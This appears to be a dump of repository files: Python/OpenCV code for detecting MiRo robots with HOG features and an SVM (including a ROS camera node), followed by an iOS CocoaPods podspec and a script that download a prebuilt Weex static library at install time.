range(len(groups)): if groupRegions[int(groups[i]-1),3] == 0: groupRegions[int(groups[i]-1),:] = (x[i],y[i],x[i] + win[i],y[i] + win[i]) else: if x[i] < groupRegions[int(groups[i]-1),0]: groupRegions[int(groups[i]-1),0] = x[i] if y[i] < groupRegions[int(groups[i]-1),1]: groupRegions[int(groups[i]-1),1] = y[i] if x[i] + win[i] > groupRegions[int(groups[i]-1),2]: groupRegions[int(groups[i]-1),2] = x[i] + win[i] if y[i] + win[i] > groupRegions[int(groups[i]-1),3]: groupRegions[int(groups[i]-1),3] = y[i] + win[i] noOrientations = np.zeros((no_groups,3)) # each row represents a # group, and is organised as (noLSide, noRSide, noBack) for i in range(len(groups)): if detected[i][1] == 1.0: noOrientations[int(groups[i])-1,0] += 1 if detected[i][1] == 2.0: noOrientations[int(groups[i]-1),1] += 1 if detected[i][1] == 3.0: noOrientations[int(groups[i]-1),2] += 1 svmDistances = np.zeros((no_groups,2)) # confidences are taken as # an average of the SVM distances within each group for i in range(len(groups)): svm_dist = detected[i][2] svmDistances[int(groups[i])-1,0] += svm_dist svmDistances[int(groups[i])-1,1] += 1 confidences = np.zeros((no_groups,1)) for i in range(len(svmDistances)): confidences[i,0] = svmDistances[i,0] / svmDistances[i,1] detectedZones = np.zeros((no_groups,8)) detectedZones[:,0:4] = groupRegions detectedZones[:,4:7] = noOrientations detectedZones[:,7] = confidences[:,0] # delete regions that are clearly too small group = 0 delIndex = [] for zone in detectedZones: (xMin,yMin) = zone[0:2] (xMax,yMax) = zone[2:4] x = xMax - xMin y = yMax - yMin if x < 10 or y < 10 or (y/x) < 0.5 or (x/y) < 0.5: delIndex.append(group) group += 1 detectedZones = np.delete(detectedZones, delIndex, axis=0) return detectedZones def Organise(self, detectedZones): zonesCoords = [] orientations = [] confidences = [] for zone in detectedZones: zonesCoords.append([zone[0],zone[1],zone[2],zone[3]]) orientation = self.Orientation(zone[4:7]) orientations.append(orientation) confidences.append(zone[7]) return zonesCoords, orientations, confidences def Orientation(self, zone): total = sum(zone) left = zone[0] / total right = zone[1] / total back = zone[2] / total return [left, right, back] def displayZones(self, img, detectedZones, confidences): i = 0 for zone in detectedZones: (xMin,yMin) = zone[0:2] (xMax,yMax) = zone[2:4] (xMin,yMin) = (int(xMin),int(yMin)) (xMax,yMax) = (int(xMax),int(yMax)) cv2.rectangle(img, (xMin,yMin), (xMax,yMax), (0,0,255), 2) cv2.putText(img, str(round(confidences[i],2)), (xMin,yMin), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA) i += 1 return img def distanceEstimation(self, detectedZones): distances = [] for zone in detectedZones: (xMin,yMin) = zone[0:2] (xMax,yMax) = zone[2:4] area = (xMax - xMin) * (yMax - yMin) dist = -(1 / 3.6) * np.log(area / 19000) distances.append(dist) return distances def imshow(img): cv2.imshow('image',img) cv2.waitKey(100) if __name__ == "__main__": for arg in sys.argv[1:]: f = arg.find('=') if f == -1: key = arg val = "" else: key = arg[:f] val = arg[f+1:] if key == "image_path": image = val else: print("argument \"image_path\" must be specified") sys.exit(0) image = "image_capture/frame.png" img = cv2.imread(image) #imshow(img) if img is None: print("Invalid image location specified") sys.exit(0) t0 = time.time() detectedZones, orientations, confidences, faces = miroDetector().detector(img,faces=True) for face in faces: (xMin,yMin) = face[0:2] (xMax,yMax) = (xMin + face[2], yMin + face[2]) (xMin,yMin) = (int(xMin),int(yMin)) (xMax,yMax) = (int(xMax),int(yMax)) cv2.rectangle(img, (xMin,yMin), (xMax,yMax), (0,0,255), 2) imshow(img) print faces t1 = time.time() if not detectedZones is None: imgDetected = miroDetector().displayZones(img,detectedZones,confidences) imshow(imgDetected) <file_sep>/README.md This folder includes all the software and data necessary for the MiRo detection algorithm. Although training has already been completed, retraining can be done by running the HOG_w_knn_svm_TRAIN.py script. All training data is stored in the folders MiRo_body and Negatives, so add training data here and retrain as necessary. Finally, to test, add some images into the Test_images folder, and run Miro_detection_TESTING.py, which will classify using SVM. Some images are included already as sample images. <file_sep>/Old_detectors/Miro_detection_TESTING.py # <NAME> # Here we will load up the trained SVM using HOG feature extraction. Then the # adaptive threshold will be applied for finding a ROI, before attempting to # classify the ROI import numpy as np import cv2 import os def imshow(img): cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows # Let's set up HOG and load the SVM data winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 nlevels = 64 hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold,gammaCorrection,nlevels) svm = cv2.ml.SVM_load('svm.dat') # Defining now the ROI algorithm def ROI(img): # thresholding the standard image #img_ROI = img img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) mean_stddev_img = cv2.meanStdDev(img_grey) mean = mean_stddev_img[0] stddev = mean_stddev_img[1] thresh = mean*(1 + -1.2*(stddev/128 - 1)) if thresh>230: thresh = 230 img_thresh = cv2.inRange(img_grey, thresh, 255) im2, contours, hierarchy = cv2.findContours(img_thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) roi = [] i = 0 for c in contours: if cv2.contourArea(c) < 100: continue (x, y, w, h) = cv2.boundingRect(c) if (float(w)/float(h) > 0.25) & (w/h < 2): roi.append((x,y,w,h)) i += 1 return roi # Let us now load the test images and run them through the ROI algorithm for filename in os.listdir('Test_images/'): img = cv2.imread(os.path.join('Test_images/',filename)) if img is None: continue roi = ROI(img) # The SVM classifier will now be run on each ROI. The ROI is first set to a square # size, reduced (or increased) to size 64x64, then tested using HOG and SVM. for r in range(len(roi)): (x,y,w,h) = roi[r] if w > h: # if width is greater than height, set ROI height to be same as width h = w else: # else set the ROI width to be the same as the height w = h # Now the exciting part, let's classify! for step in range(4): # remember, we increase the ROI size 4 times, classifying each time img_roi = img[y:(y+h), x:(x+w)] img_roi = cv2.resize(img_roi,(64,64)) # resizing the image to 64x64 size hog_feature = np.transpose(hog.compute(img_roi)) # computing the HOG features hog_feature.astype(np.float32) # preparing for input into SVM result = svm.predict(hog_feature)[1] if result==1: cv2.rectangle(img, (x,y-h), (x+int(w*1.25),y+h), (255,0,0), 2) print 'MiRo has been detected from the left side' break if result==2: cv2.rectangle(img, (x,y-h), (x+int(w*1.25),y+h), (255,0,0), 2) print 'MiRo has been detected from the right side' break if result==3: cv2.rectangle(img, (x,y), (x+w,y+h), (255,0,0), 2) print 'MiRo has been detected from the back' break #cv2.rectangle(img, (x,y), (x+w,y+h), (0,255,0), 2) w_new = int(w*1.25) h_new = int(h*1.25) x_new = x - (w_new - w)/2 y_new = y - (h_new - h)/2 if x_new > 0: x = x_new if y_new > 0: y = y_new w = w_new h = h_new imshow(img) <file_sep>/Old_detectors/miroDetector2.py # <NAME> # Here we will load up the trained SVM using HOG feature extraction. Then the # adaptive threshold will be applied for finding a ROI, before attempting to # classify the ROI import numpy as np import cv2 import os import sys import time def imshow(img): cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows class miroDetector: def __init__(self): # Let's set up HOG and load the SVM data winSize = (64,64) blockSize = (16,16) blockStride = (8,8) cellSize = (8,8) nbins = 9 derivAperture = 1 winSigma = 4. histogramNormType = 0 L2HysThreshold = 2.0000000000000001e-01 gammaCorrection = 0 nlevels = 64 self.hog = cv2.HOGDescriptor(winSize,blockSize,blockStride,cellSize,nbins,derivAperture,winSigma, histogramNormType,L2HysThreshold,gammaCorrection,nlevels) self.svm = cv2.ml.SVM_load('svm.dat') def detector(self,img): # cropping off the top third of the image img = img[80:239, 0:319] roi = self.ROI(img) # The SVM classifier will now be run on each ROI. The ROI is first set to a square # size, reduced (or increased) to size 64x64, then tested using HOG and SVM. detected = [] for r in range(len(roi)): (x,y,w,h) = roi[r] winSize = 32 while winSize < min(w,h): for x_win in range(x, x + w - winSize, 4): for y_win in range(y, y + h - winSize, 4): try: win = img[y_win:(y_win+winSize), x_win:(x_win+winSize)] img_roi = cv2.resize(win,(64,64)) hog_feature = np.transpose(self.hog.compute(img_roi)).astype(np.float32) result = self.svm.predict(hog_feature)[1] if result>0: detected.append(((x_win,y_win,winSize),result)) except cv2.error: pass winSize += 8 if len(detected) == 0: print "No MiRo detected" sys.exit(0) #~ for det in detected: #~ (x_win,y_win,winSize) = det[0] #~ result = det[1] #~ cv2.rectangle(img, (x_win,y_win), (x_win+winSize,y_win+winSize), (255,0,0), 2) #~ if result==1: #~ print 'MiRo has been detected from the left side' #~ if result==2: #~ print 'MiRo has been detected from the right side' #~ if result==3: #~ print 'MiRo has been detected from the back side' #~ imshow(img) detectedZones = self.overlap(detected) self.displayZones(img,detectedZones) return detectedZones def ROI(self,img): # thresholding the standard image k = 0.5 thresh_prop = 1.0 img_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) mean,stddev = cv2.meanStdDev(img_grey) while thresh_prop > 0.15: thresh = mean*(1 + -k*(stddev/128 - 1)) img_thresh = cv2.inRange(img_grey, thresh, 255) thresh_prop = float(cv2.countNonZero(img_thresh)) / (float(np.shape(img)[0]) * float(np.shape(img)[1])) #print k #print thresh_prop #imshow(img_thresh) k += 0.05 _,contours,_ = cv2.findContours(img_thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) roi = [] for c in contours: if cv2.contourArea(c) < 256: continue (x, y, w, h) = cv2.boundingRect(c) (x, y, w, h) = self.ROI_expand((x,y,w,h)) roi.append((x,y,w,h)) return roi def ROI_expand(self,(x,y,w,h)): w_new = int(w*1.5) h_new = int(h*1.5) x_new = x - (w_new - w)/2 y_new = y - (h_new - h)/2 if x_new >= 0: x = x_new if y_new >= 0: y = y_new return (x, y, w_new, h_new) def overlap(self,detected): # This method counts the number of overlapping detected zones, determines most likely orientation, # and returns single detected regions with a count of the total number of detections per orientation x = [] y = [] win = [] groups = np.zeros(len(detected)) for det in detected: (x_win,y_win,winSize) = det[0] x.append(x_win) y.append(y_win) win.append(winSize) groups[0] = 1 for i in range(len(detected)): for j in range(i+1,len(detected)): if i==j: continue a1 = x[j] <= (x[i] + win[i]) and x[j] >= x[i] a2 = y[j] <= (y[i] + win[i]) and y[j] >= y[i] a3 = x[i] <= (x[j] + win[j]) and x[i] >= x[j] a4 = y[i] <= (y[j] + win[j]) and y[i] >= y[j] if a1 and (a2 or a4): groups[j] = groups[i] elif a3 and (a2 or a4): groups[j] = groups[i] elif groups[j] == 0: groups[j] = max(groups) + 1 no_groups = int(max(groups)) groupRegions = np.zeros((no_groups,4)) for i in range(len(groups)): if groupRegions[int(groups[i]-1),3] == 0: groupRegions[int(groups[i]-1),:] = (x[i],y[i],x[i] + win[i],y[i] + win[i]) else: if x[i] < groupRegions[int(groups[i]-1),0]: groupRegions[int(groups[i]-1),0] = x[i] if y[i] < groupRegions[int(groups[i]-1),1]: groupRegions[int(groups[i]-1),1] = y[i] if x[i] + win[i] > groupRegions[int(groups[i]-1),2]: groupRegions[int(groups[i]-1),2] = x[i] + win[i] if y[i] + win[i] > groupRegions[int(groups[i]-1),3]: groupRegions[int(groups[i]-1),3] = y[i] + win[i] noOrientations = np.zeros((no_groups,3)) # each row represents a group, and is organised as (noLSide, noRSide, noBack) for i in range(len(groups)): if detected[i][1] == 1.0: noOrientations[int(groups[i])-1,0] += 1 if detected[i][1] == 2.0: noOrientations[int(groups[i]-1),1] += 1 if detected[i][1] == 3.0: noOrientations[int(groups[i]-1),2] += 1 detectedZones = np.zeros((no_groups,7)) detectedZones[:,0:4] = groupRegions detectedZones[:,4:7] = noOrientations return detectedZones def displayZones(self, img, detectedZones): for zone in detectedZones: (xMin,yMin) = zone[0:2] (xMax,yMax) = zone[2:4] (xMin,yMin) = (int(xMin),int(yMin)) (xMax,yMax) = (int(xMax),int(yMax)) noLSide = zone[4] noRSide = zone[5] noBack = zone[6] total = noLSide + noRSide + noBack #~ LPerc = int(100 * noLSide / total) #~ RPerc = int(100 * noRSide / total) #~ BPerc = int(100 * noBack / total) cv2.rectangle(img, (xMin,yMin), (xMax,yMax), (0,0,255), 2) cv2.putText(img, str(noLSide), (xMin,yMin), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA) cv2.putText(img, str(noRSide), (xMin,yMin+25), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA) cv2.putText(img, str(noBack), (xMin,yMin+50), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA) imshow(img) if __name__ == "__main__": for arg in sys.argv[1:]: f = arg.find('=') if f == -1: key = arg val = "" else: key = arg[:f] val = arg[f+1:] if key == "image_path": image = val else: print("argument \"image_path\" must be specified") sys.exit(0) img = cv2.imread(image) cv2.imshow('image',img) cv2.waitKey(0) cv2.destroyAllWindows() if img is None: print("Invalid image location specified") sys.exit(0) t0 = time.time() miroDetector().detector(img) t1 = time.time() print t1 - t0 <file_sep>/miroDetectorROS.py #!/usr/bin/python import numpy as np import cv2 import time from miroDetector import miroDetector import sys import rospy from sensor_msgs.msg import Image from cv_bridge import CvBridge bridge = CvBridge() miroDetector = miroDetector() count = 0 def drawRegions(img, detectedZones): for zone in detectedZones: (xMin,yMin) = zone[0:2] (xMax,yMax) = zone[2:4] (xMin,yMin) = (int(xMin),int(yMin)) (xMax,yMax) = (int(xMax),int(yMax)) cv2.rectangle(img, (xMin,yMin), (xMax,yMax), (0,0,255), 2) return img def drawFaces(img, faces): for face in faces: (xMin,yMin) = face[0:2] (xMax,yMax) = (xMin + face[2], yMin + face[2]) (xMin,yMin) = (int(xMin),int(yMin)) (xMax,yMax) = (int(xMax),int(yMax)) cv2.rectangle(img, (xMin,yMin), (xMax,yMax), (0,0,255), 2) return img def imshow(img): cv2.imshow("image", img) cv2.waitKey(50) def camCallback(msg): global count #global F count += 1 if count % 10 == 0: img = bridge.imgmsg_to_cv2(msg,'bgr8') cv2.imwrite("image_capture/frame.png", img) t0 = time.time() detectedZones, orientations, confidence, faces = miroDetector.detector(img, faces=True) if not detectedZones is None: img = drawRegions(img, detectedZones) distance = miroDetector.distanceEstimation(detectedZones) print "Distance estimate: ", distance print "Orientation information: ", orientations print "Confidence levels: ", confidence if not faces is None: img = drawFaces(img, faces) print "Faces: ", faces imshow(img) t1 = time.time() print "Processing time was: ", (t1 - t0) miroDetector = miroDetector() if __name__ == '__main__': print "Initialising MiRo Detector.." for arg in sys.argv[1:]: f = arg.find('=') if f == -1: key = arg val = "" else: key = arg[:f] val = arg[f+1:] if key == "robot": robot = val else: print("argument \"robot\" must be specified") sys.exit(0) rospy.init_node('miroDetector',anonymous=True) #~ subL = rospy.Subscriber ("/miro/" + robot + "/platform/caml", Image, #~ camCallback) subR = rospy.Subscriber ("/miro/" + robot + "/platform/camr", Image,
f6a115fe7f2bb1c1b55f07fdd42190ced4d144ac
[ "Markdown", "Python" ]
9
Python
MatthewTWhelan/miroDetection
189759a7ad9f32f7e5e9791dea4142b80bcaeeb0
75bb27982458fd97b5c2df2f4b0ef05a1d7d5672
refs/heads/master
<file_sep>function Invert(){ sendData("*V~"); } function InAnim(){ sendData("*I~"); } function OutAnim(){ sendData("*O~"); } function SaveSettings(){ sendData("*W~"); } function ResetHardware(){ sendData("*R~"); } function SubmitAutoClear(){ const val = inputClear.value(); sendData("*C"+ val + "~"); } function SubmitSpeed(){ const val = inputSpeed.value(); sendData("*S"+ val + "~"); } function SubmitDelay(){ const val = inputDelay.value(); sendData("*P"+ val + "~"); } function SubmitMessage(){ const msg = inputMsg.value(); sendData("*M"+ msg + "~"); } function disconnectBle(){ blueTooth.disconnect(); } function clearMessage(){ receivedValue = ""; } <file_sep>function drawScreen() { textSize(18); if (isConnected) { background(0, 255, 0); text('Connected :)', 100, 20); disconnectButton.show(); connectButton.hide(); } else { background(255, 0, 0); textAlign(LEFT, TOP); text('Disconnected :/', 90, 20); disconnectButton.hide(); connectButton.show(); } textSize(14); text('Message', 15, 60); text('Animation Speed (ms)', 15,120); text('Delay Between In/Out (ms)', 15,180); text('Auto Clear Message (ms, 0 to disable)', 15,240); text('Brightness ( ' + sliderBrightness.value() + ' )', 15,300); text('Received Value', 350,240); receivedMessage.html(receivedValue); if(sliderBrightness.value() != brightness && isConnected){ brightness = sliderBrightness.value(); sendData("*B" + brightness +"~"); } } <file_sep># PT013_MAX7219_BrowserGUI Browser GUI for controlling MAX7219 Bluetooth Messageboard or Running Text This project based on processing IDE, https://processing.org/ Use this project as GUI to controll Bluetooth MAX7219 Messageboard or Running Text. To understand the usage, please watch these videos - https://youtu.be/tP6NaTEM98c - https://youtu.be/6PS0qiNqFws - https://youtu.be/4f79jZ3JeQU All my videos are in Indonesian. But no worries, I will always create English CC for all video I shared.
2ec6e9833122d64dd6f4dde3570c8762ef808d29
[ "JavaScript", "Markdown" ]
3
JavaScript
paulustanuri/PT013_MAX7219_BrowserGUI
acbbc7091a7656d1ff89867d6b38faf945977e85
2dee5c8c0124c7cb5b6dbc308bd232e47ffcf27a
refs/heads/master
<repo_name>aclk/loopback-connector-kv-redis<file_sep>/test/helpers/data-source-factory.js 'use strict'; const DataSource = require('loopback-datasource-juggler').DataSource; const connector = require('../..'); const SETTINGS = { // url: [{host: '127.0.0.1', port: 7000}], // mode: 'cluster', host: process.env.REDIS_HOST || 'localhost', port: +process.env.REDIS_PORT || undefined, connector: connector, // produce nicer stack traces showFriendlyErrorStack: true, }; if (process.env.CI) { // Try to avoid collisions when multiple CI jobs are running on the same host // by picking a (semi)random database number to use. SETTINGS.db = process.pid % 16; } function createDataSource(options) { const settings = Object.assign({}, SETTINGS, options); return new DataSource(settings); }; module.exports = createDataSource; let invalidPort = 4; // invalid port where nobody is listening createDataSource.failing = function(options) { const settings = Object.assign({ host: '127.0.0.1', port: invalidPort++, // disable auto-reconnect retryStrategy: null, reconnectOnError: null, }, options); return createDataSource(settings); }; createDataSource.json = function(options) { const settings = Object.assign({ packer: 'json', }, options); return createDataSource(settings); }; createDataSource.jsonWithHexBuffers = function(options) { const settings = Object.assign({ packer: 'json', bufferEncoding: 'hex', }, options); return createDataSource(settings); }; beforeEach(function clearDatabase(done) { const ds = createDataSource(); ds.connector.execute('FLUSHDB', function(err) { if (err) return done(err); ds.disconnect(done); }); });
27f76b1c96a71aa993d7490ce7ffadec858fba74
[ "JavaScript" ]
1
JavaScript
aclk/loopback-connector-kv-redis
744336020966b233bde9dd3a81cd049ac542598c
471013314c28e439d7a0020f52b98e222b7e656c
refs/heads/master
<repo_name>PuppyCode0723/Feature_Keywords<file_sep>/Feature Keywords.py import re # 處理繁體中文 import jieba2 as jieba import jieba2.analyse import sqlite3 import pickle from collections import defaultdict from sklearn.feature_extraction import DictVectorizer from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfTransformer from sklearn.svm import LinearSVC # 回傳停用詞 def stopwordslist(filepath): with open(filepath, 'r', encoding='utf-8') as f: stopwords = [line.strip() for line in f.readlines()] return stopwords # 移除停用詞 def removestopwords(content, stopwords): non_stopwords = [] for i in jieba2.cut(content): if i not in stopwords: non_stopwords.append(i) return non_stopwords stopwords = stopwordslist('./stopwords.txt') conn = sqlite3.connect('./dataSet/PTT Data Set.db') cursor = conn.cursor() pushes = cursor.execute('SELECT Title, Push_tag FROM PTT_Gossiping') # Title, Push_tag scores = [] temp = None temp_score = 0 count = 0 for push in pushes: if temp is None: temp = push[0] if push[0] in temp: if push[1] == '推': temp_score += 1 elif push[1] == '噓': temp_score -= 1 elif push[0] not in temp: scores.append(temp_score) temp = push[0] if count % 150 == 0: print('temp_score: ', temp_score) temp_score = 0 count += 1 print(len(scores)) rlt = [] corpus = cursor.execute('SELECT Title, Content FROM PTT_Gossiping ') temp_title = None words = defaultdict(int) for content in corpus: if temp_title is None: temp_title = content[0] if content[0] in temp_title: if content[1] is None: continue else: old_sentence = str(content[1]).replace("\\n", '') # 只保留繁體字 new_sentence = re.sub(r'[^\u4e00-\u9fa5]', '', old_sentence) non_stopword_sentence = removestopwords(new_sentence, stopwords) for w in non_stopword_sentence: words[w] += 1 elif content[0] not in temp_title: rlt.append(words) words = defaultdict(int) temp_title = content[0] print(len(rlt)) dvec = DictVectorizer() tfidf = TfidfTransformer() X = tfidf.fit_transform(dvec.fit_transform(rlt)) svc = LinearSVC() svc.fit(X, scores) with open('./SVM_LABEL.pickle', 'wb') as f: pickle.dump(dvec.get_feature_names(), f) with open('./SVM_coef.pickle', 'wb') as f: t = [] for i in svc.coef_[0]: t.append(i) pickle.dump(t, f) print(dvec.get_feature_names()[:10]) print(svc.coef_[0][:10]) <file_sep>/README.md # 關鍵字提取和TF-IDF演算法 Extract Keywords analysis and TF-IDF algorithm
abab1a4fabd2c45d6b91d5f1f9560fab7ca5962f
[ "Markdown", "Python" ]
2
Python
PuppyCode0723/Feature_Keywords
15f35085ce9a826922a88bb541656ea4990c1d05
f217363a27abe136714cf3b134d0b1299c6c7563
refs/heads/master
<file_sep>function sum(p, q){ return p + q; } function pqformel(p, q){ var del1 = p * -0.5; var del2 = Math.pow(p * 0.5, 2) -q; var svar1 = del1 + Math.sqrt(del2); var svar2 = del1 - Math.sqrt(del2); return "svar 1 = " + svar1 + " svar 2 = " + svar2 } module.exports = { sum, pqformel };
e270c576db7640dfd25a127f97b834bd5d8755a2
[ "JavaScript" ]
1
JavaScript
philipalexanderols/mattesidan
d95fa01ec838152365a2fb612a4df57e8336ded5
4543d263fd580147af36119d5b7d7525c9294335
refs/heads/master
<repo_name>t0t/t0theme2<file_sep>/templates/page-header.php <?php if(!is_front_page()) { ?> <header> <h2> <?php the_title(); ?> </h2> </header> <? } ?><file_sep>/template-home.php <?php /* Template Name: Portada */ ?> <?php get_header(); ?> <main role="main"> <?php get_template_part('templates/custom', 'fields'); ?> <?php get_template_part('templates/nav', 'main' ); ?> </main> <?php get_footer(); ?><file_sep>/template-page.php <main> <section class="img--bg-big well well--panoramica"> <h3>Hola</h3> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Est totam voluptate quisquam deserunt explicabo officiis, expedita deleniti asperiores aperiam cumque non quo alias voluptatum dolorem magnam dignissimos ad pariatur. Perspiciatis!</p> <button class="btn btn--image"><a href="">Call to action</a></button> </section> <h2>Shapes</h2> <section class="shapes"> <div class="color-base shape-square"></div> <div class="color-base-dark shape-circle"></div> <div class="color-base-light shape-rounded"></div> <div class="color-base-invert shape-mask"></div> <div class="black shape-custom"></div> <div class="white"></div> </section> <section role="main"> <?php get_template_part( 'templates/main', 'content' ); ?> </section> <h2>Lists</h2> <section class="lista"> <ol class="lista__ordered"> <li class="lista__item">Bread</li> <li class="lista__item">Milk</li> <li class="lista__item">Eggs</li> <li class="lista__item">Butter</li> </ol> <ul class="lista__unordered"> <li class="lista__item">Elemento lista</li> <li class="lista__item">Elemento lista</li> <li class="lista__item">Elemento lista xx</li> <li class="lista__item">Elemento lista</li> <li class="lista__item">Elemento</li> </ul> <dl class="lista__definition"> <dt>Titulo</dt> <dd>item lista de definición</dd> <dd>item lista</dd> <dt>Titulo</dt> <dd>item</dd> <dd>item</dd> </dl> </section> </main><file_sep>/template-home-blog.php <?php /* Template Name: Blog */ ?> <?php get_header(); ?> <!-- Fixed Nav --> <?php get_template_part( 'templates/nav', 'main' ); ?> <!-- Page Header --> <?php get_template_part('templates/page', 'header'); ?> <!-- Loop for posts --> <?php get_template_part('templates/content', 'home-posts'); ?> <?php get_footer(); ?><file_sep>/templates/content.php <div class="main__content"> <section class="main__content__section"> <!-- post --> <article class="main__article article-post"> <?php if (!is_front_page() ): ?> <header><h2><?php the_title(); ?></h2></header> <? endif; ?> <p><?php the_content(); ?></p> <footer><?php the_tags(); ?></footer> </article> <!-- Flexible content --> <article> <?php get_template_part('templates/custom', 'fields'); ?> </article> </section> <?php if ( is_home() ) : get_sidebar(); elseif ( is_404() ) : get_sidebar( '404' ); else : get_sidebar( 'userpicture' ); endif; ?> </div><file_sep>/sidebar-userpicture.php <div class="main__content__sidebar"> <?php if ( is_active_sidebar( 'sidebar-curso-wp' ) ) : ?> <!-- #start primary-sidebar --> <div class="widgets main__content__widgets"> <?php dynamic_sidebar( 'sidebar-curso-wp' ); ?> </div> <!-- #end primary-sidebar --> <?php endif; ?> </div><file_sep>/footer.php <footer class="main-footer"> <?php //$defaults=array('theme_location'=>'footer_menu','menu_class'=>'nav-footer'); wp_nav_menu($defaults);?> <h2 class="main-footer__header"></h2> <ul class="main-footer__list"> <li><a href="https://github.com/t0t/t0theme2/" target="_blank" class="icon-github"></a> </li> <li><a href="https://twitter.com/t0tinspire" target="_blank" class="icon-twitter"></a> </li> <li><a href="https://www.flickr.com/photos/sergiofores/" target="_blank" class="icon-flickr"></a> </li> <li><a href="https://www.linkedin.com/in/sergiofores/" target="_blank" class="icon-linkedin"></a> </li> </ul> <div class="main-footer__credits"> <a href="mailto:<EMAIL>" class="btn btn--footer">Just say Hello!</a> <aside rel="author"> <small> <i class="icon-logo-mazizo"></i> <?php bloginfo('name'); ?> <?php echo date('Y'); ?> </small> <?php edit_post_link('&oplus; Editar ') ?>&sdot; <?php wp_loginout(); ?> </aside> </div> </footer> <?php wp_footer(); ?> </body> </html><file_sep>/page.php <?php get_header(); ?> <main> <?php get_template_part('templates/page-header' ); ?> <?php get_template_part('templates/nav', 'main' ); ?> <?php get_template_part('templates/custom-fields'); ?> </main> <?php get_footer(); ?><file_sep>/template-cpt1.php <?php /* Template Name: CPT */ ?> <?php get_header(); ?> <main role="main"> <!-- Nav --> <?php get_template_part('templates/nav', 'main' ); ?> <!-- Header --> <?php get_template_part('templates/page', 'header'); ?> <!-- Content --> <?php get_template_part('templates/content', 'cpt'); ?> </main> <?php get_footer(); ?><file_sep>/templates/content-contacto.php <?php /* Template Name: Contacto */ ?> <?php get_header(); ?> <main role="main"> <?php get_template_part('templates/nav', 'main' ); ?> <!-- Page Header --> <?php get_template_part('templates/page', 'header'); ?> <?php get_template_part('templates/custom', 'fields'); ?> </main> <?php get_footer(); ?>
7ceaf3113836785288c27c55b3521f0db9664504
[ "PHP" ]
10
PHP
t0t/t0theme2
49620635a6df9df66d65a4fd2263d6b0799d75a0
5626d4dfe7806091917432fc62fced900a1170c8
refs/heads/master
<repo_name>Dronaldo17/uniapp_flutter<file_sep>/ios/UniCoreSDK/Classes/Core/Headers/UniMPCoreSDK.swift // // UniMPCoreSDKSwift.swift // UniMPCoreSDKSwift // // Created by 窦静轩 on 2020/9/29. // import Foundation <file_sep>/ios/UniCoreSDK.podspec # # Be sure to run `pod lib lint UniMPSDK.podspec' to ensure this is a # valid spec before submitting. # # Any lines starting with a # are optional, but their use is encouraged # To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = 'UniCoreSDK' s.version = '0.1.0' s.summary = 'UniCoreSDK' # This description is used to generate tags and improve search results. # * Think: What does it do? Why did you write it? What is the focus? # * Try to keep it short, snappy and to the point. # * Write the description between the DESC delimiters below. # * Finally, don't worry about the indent, CocoaPods strips it! s.description = <<-DESC Uni小程序CoreSDK DESC s.homepage = 'https://github.com/doujingxuan/UniMPSDK' # s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2' s.license = { :type => 'MIT', :file => 'LICENSE' } s.author = { '窦静轩' => '<EMAIL>' } s.source = { :git => 'https://github.com/doujingxuan/UniMPSDK.git', :tag => s.version.to_s } # s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>' s.ios.deployment_target = '9.0' s.source_files = 'UniCoreSDK/Classes/**/*' # s.resources = 'UniMPSDK/Assets/**/*' s.resources = "UniCoreSDK/Assets/**/*" s.public_header_files = 'UniCoreSDK/Classes/**/Headers/*.{h.swift}' s.vendored_libraries = 'UniCoreSDK/Frameworks/**/*.{a}' s.vendored_frameworks = 'UniCoreSDK/Frameworks/**/*.{framework}' s.frameworks = 'UIKit', 'MapKit','AddressBook','CoreLocation','AssetsLibrary','CoreTelephony','QuickLook','CoreGraphics','QuartzCore','CoreText', 'OpenGLES','GLKit','AVKit','AVFoundation','MediaPlayer','CoreMedia','JavaScriptCore' s.libraries = "c++" s.swift_version = '4.0' s.dependency 'Flutter' # framework要加preserve_paths 预加载路径 s.preserve_paths = "UniCoreSDK/Classes/**/Frameworks/*.{framework,a}" s.prepare_command = <<-PREPARE_COMMAND_END cd UniCoreSDK/Frameworks/UniWeex if [ -s "./liblibWeex.a" ]; then echo "" else echo "Download UniCoreSDK" curl -O http://192.168.12.138:5000/liblibWeex.a fi PREPARE_COMMAND_END # spec.xcconfig = { "OTHER_LINK_FLAG" => '$(inherited) -ObjC' } # s.dependency 'AFNetworking', '~> 2.3' # 因为git 限制静态库文件大小为100m,所以建议拆包 后 合并或者 直接cdn下载超过100m的包 # 三种解决方案 # 1. git lfs (受限制的第三方因素过多,涉及上传和下载 无法下载OK) # 2. 拆分 .a 库 devices和x86_64 拆后目前均小于100 也可以完成需求 # 3. 使用 CocoaPods 的s.prepare_command curl 一个远程.a 到本工程 # cd UniMPSDK/Frameworks/UniWeex # pwd # file = "/liblibWeex.a" # if [ ! -x "$file"]; then # lipo -create liblibWeex_x86_64.a liblibWeex_device.a -output liblibWeex.a # rm -rf liblibWeex_device.a # rm -rf liblibWeex_x86_64.a # fi # http://192.168.12.138:5000/liblibWeex.a end <file_sep>/ios/fileExist.sh #! /bin/bash cd UniMPCoreSDK/Frameworks/UniWeex if [ -s "./liblibWeex.a" ]; then echo "文件存在" else echo "文件不存在" curl -O http://axianu.com/static/libweex/liblibWeex.a fi
9db9f645a8f4804810993a5bb362e562729ce0c9
